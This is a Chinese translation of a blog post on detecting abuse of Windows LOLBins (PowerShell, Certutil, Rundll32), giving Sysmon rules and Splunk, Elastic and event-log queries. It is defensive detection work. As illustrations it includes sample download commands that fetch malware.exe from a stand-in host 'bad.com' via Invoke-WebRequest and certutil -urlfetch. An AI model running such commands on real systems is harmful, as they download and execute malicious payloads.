捕获 LOLBins 实战:实用检测查询

admin 2025年6月10日02:02:36评论2 views字数 5736阅读19分7秒阅读模式

【翻译】Catching LOLBins in Action Practical Detection Queries 

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

捕获 LOLBins 实战:实用检测查询

Living-Off-the-Land Binaries(LOLBins,利用合法二进制文件)如 PowerShell、Certutil 或 Rundll32 是合法的 Windows 工具,攻击者会滥用这些工具来伪装成正常的系统活动。下面,我将重点介绍使用实际检测查询来发现其滥用的实用方法,这些查询利用了 Windows 事件日志、Sysmon 和 SIEM 平台(如 Splunk、Elastic)等工具。这些查询针对可疑行为,可以根据您的环境进行调整。我将保持实践性,跳过理论部分。

1. 检测可疑的 PowerShell 活动

为何成为目标:攻击者使用 PowerShell 下载恶意软件、运行脚本或进行横向移动。

检测重点

  • 异常的命令行参数(如下载文件、编码命令)
  • 由意外父进程(如 Word、Excel)启动的 PowerShell
  • PowerShell 发起的网络连接

实用查询

Windows 事件日志(事件 ID 4688 — 进程创建)

# PowerShell downloading files via Invoke-WebRequest or similar EventID=4688 AND (Image="*powershell.exe" OR Image="*pwsh.exe") AND (CommandLine="*Invoke-WebRequest*" OR CommandLine="*-Uri*" OR CommandLine="*http*")
  • 检测内容: 捕获从 URL 获取文件的 PowerShell 命令,例如:powershell -Command "Invoke-WebRequest -Uri http://bad.com/malware.exe"。
  • 检测工具: Windows 事件查看器或 SIEM(Splunk/Elastic)。
捕获 LOLBins 实战:实用检测查询

Sysmon(事件 ID 1 — 进程创建)

<RuleGroupname="Suspicious PowerShell"groupRelation="or">   <ProcessCreateonmatch="include">     <Imagecondition="contains">powershell.exe</Image>     <CommandLinecondition="contains">Invoke-WebRequest</CommandLine>     <CommandLinecondition="contains">DownloadFile</CommandLine>     <CommandLinecondition="contains">-EncodedCommand</CommandLine>     <ParentImagecondition="contains">winword.exe</ParentImage>     <ParentImagecondition="contains">excel.exe</ParentImage>   </ProcessCreate> </RuleGroup>
  • 检测内容: 捕获 PowerShell 执行可疑命令或被 Office 应用程序启动的情况(常见于钓鱼攻击)。
  • 检测工具: 将 Sysmon 日志转发至 SIEM 系统。

Splunk 查询

index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 powershell.exe | where CommandLine LIKE "%Invoke-WebRequest%" OR CommandLine LIKE "%-Uri%" OR CommandLine LIKE "%http%" | table _time, ComputerName, Image, CommandLine, ParentImage
  • 检测内容: 捕获 PowerShell 发起网络请求的行为,包括主机信息、命令内容和父进程详情。
  • 技巧: 添加 | search ParentImage!=explorer.exe 以排除正常的用户活动。

额外建议: 启用 PowerShell 脚本块日志记录(事件 ID 4104)以捕获执行的脚本:

EventID=4104 AND (ScriptBlockText="*Invoke-WebRequest*" OR ScriptBlockText="*DownloadString*")

2. 检测 Certutil 滥用

为何成为目标: Certutil 本用于证书管理,但常被滥用来下载或解码恶意文件。

检测重点:

  • Certutil 从 URL 获取文件或解码文件
  • 从非常规目录执行(如%temp%)

实用查询:

Windows 事件日志(事件 ID 4688)

EventID=4688 AND Image="*certutil.exe" AND (CommandLine="*-urlfetch*" OR CommandLine="*-decode*" OR CommandLine="*http*")
  • 检测内容: 捕获类似 certutil -urlfetch -f http://bad.com/malware.exe 或 certutil -decode encoded.txt output.exe 的命令。
  • 检测工具: Windows 事件查看器或 SIEM 系统。

Sysmon(事件 ID 1)

<RuleGroupname="Suspicious Certutil"groupRelation="or">   <ProcessCreateonmatch="include">     <Imagecondition="contains">certutil.exe</Image>     <CommandLinecondition="contains">-urlfetch</CommandLine>     <CommandLinecondition="contains">-decode</CommandLine>     <CurrentDirectorycondition="contains">%temp%</CurrentDirectory>   </ProcessCreate> </RuleGroup>
  • 检测内容: 捕获 Certutil 下载或解码文件的行为,特别是从临时文件夹执行的操作。
  • 检测工具: Sysmon 与 SIEM 系统集成。
  • Elastic 查询:
{   "query": {     "bool": {       "filter": [         {"match": {"process.executable": "certutil.exe"}},         {"bool": {           "should": [             {"wildcard": {"process.command_line": "*-urlfetch*"}},             {"wildcard": {"process.command_line": "*-decode*"}},             {"wildcard": {"process.command_line": "*http*"}}           ]         }}       ]     }   } }
  • 检测内容: 捕获 Certutil 执行可疑命令的行为,结果显示完整命令行和主机信息。
  • 技巧: 使用 process.working_directory: "AppDataLocalTemp" 过滤以捕获临时文件夹中的活动。

3. 检测 Rundll32 滥用

为何成为目标: Rundll32 用于运行 DLL 文件中的代码,攻击者常利用它来执行恶意 payload 而无需释放可执行文件。

检测重点:

  • Rundll32 从非常规路径(如%temp%、%appdata%)运行 DLL
  • 命令中缺少或存在可疑的 DLL 名称

实用查询:

Windows 事件日志(事件 ID 4688)

EventID=4688 AND Image="*rundll32.exe" AND (CommandLine="*temp*" OR CommandLine="*appdata*" OR CommandLine="*,*")
  • 检测内容: 捕获 Rundll32 从 temp/appdata 文件夹运行 DLL 或使用可疑入口点(例如:rundll32 malicious.dll,EntryPoint)的行为。
  • 检测工具: Windows 事件查看器或 SIEM 系统。

Sysmon(事件 ID 1)

<RuleGroupname="Suspicious Rundll32"groupRelation="or"> <ProcessCreateonmatch="include"> <Imagecondition="contains">rundll32.exe</Image> <CommandLinecondition="contains">.dll,</CommandLine> <CurrentDirectorycondition="contains">AppData</CurrentDirectory> <CurrentDirectorycondition="contains">Temp</CurrentDirectory> </ProcessCreate> </RuleGroup>
  • 检测内容: 捕获 Rundll32 从非标准位置执行 DLL 或使用特定入口点的行为。
  • 检测工具: Sysmon 与 SIEM 系统集成。

Splunk 查询:

index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 rundll32.exe | where CommandLine LIKE "%.dll,%" OR CurrentDirectory LIKE "%AppData%" OR CurrentDirectory LIKE "%Temp%" | table _time, ComputerName, Image, CommandLine, ParentImage
  • 检测内容: Rundll32 运行可疑 DLL 文件,并包含父进程上下文信息(例如:由浏览器或 Office 应用程序启动)。

4. 基于网络的检测

重要性: 许多 LOLBin 攻击都涉及网络活动(例如:下载恶意软件)。

实用查询:

Sysmon(事件 ID 3 — 网络连接)

<RuleGroupname="LOLBin Network"groupRelation="or"> <NetworkConnectonmatch="include"> <Imagecondition="contains">powershell.exe</Image> <Imagecondition="contains">certutil.exe</Image> <Imagecondition="contains">rundll32.exe</Image>  <DestinationIpcondition="is not">127.0.0.1</DestinationIp> </NetworkConnect> </RuleGroup>
  • 检测内容: 捕获 LOLBins 建立外部网络连接的行为
  • 检测工具: Sysmon 与 SIEM 系统集成

Splunk 网络流量查询

index=network (sourcetype="pan:traffic" OR sourcetype="cisco:asa") (powershell.exe OR certutil.exe OR rundll32.exe) | where dest_ip!=127.0.0.1 AND dest_ip!=::1 | table _time, src_ip, dest_ip, dest_port, process_name
  • 检测内容: 捕获 LOLBins 发起出站网络连接的行为,适用于防火墙或网络日志分析。
  • 建议: 将目标 IP 地址 (dest_ip) 与威胁情报源进行交叉比对,标记已知恶意 IP。

5. 检测设置通用建议

  1. 启用 Sysmon:
  • 使用类似 SwiftOnSecurity 的配置安装 Sysmon(可在 GitHub 获取)。
  • 确保记录进程创建(事件 ID 1)和网络连接(事件 ID 3)。
  • 将日志转发至 SIEM 进行集中分析。

2. 启用 PowerShell 日志记录:

  • 通过组策略启用模块日志记录 (Module Logging)、脚本块日志记录 (Script Block Logging) 和转录功能 (Transcription):
Set-ItemProperty -Path "HKLM:SOFTWAREPoliciesMicrosoftWindowsPowerShellScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
  • 日志将出现在事件 ID 4104 中。

3. 使用 SIEM 系统:

  • 使用 Splunk、Elastic 或 Microsoft Sentinel 等工具可以关联 LOLBin 在各类日志(进程、网络、文件创建)中的活动。
  • 示例:将进程创建(Sysmon 事件 ID 1)与网络日志结合,以捕获 PowerShell 下载文件的行为。

4. 建立正常活动基线:

  • 运行查询以了解环境中合法的 LOLBin 使用情况(例如:管理员运行的 PowerShell)。
  • 用于建立基线的 Splunk 查询示例:
index=windows powershell.exe | stats count by CommandLine, ParentImage, User sort -count

原文始发于微信公众号(securitainment):捕获 LOLBins 实战:实用检测查询

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日02:02:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   捕获 LOLBins 实战:实用检测查询https://cn-sec.com/archives/4148308.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息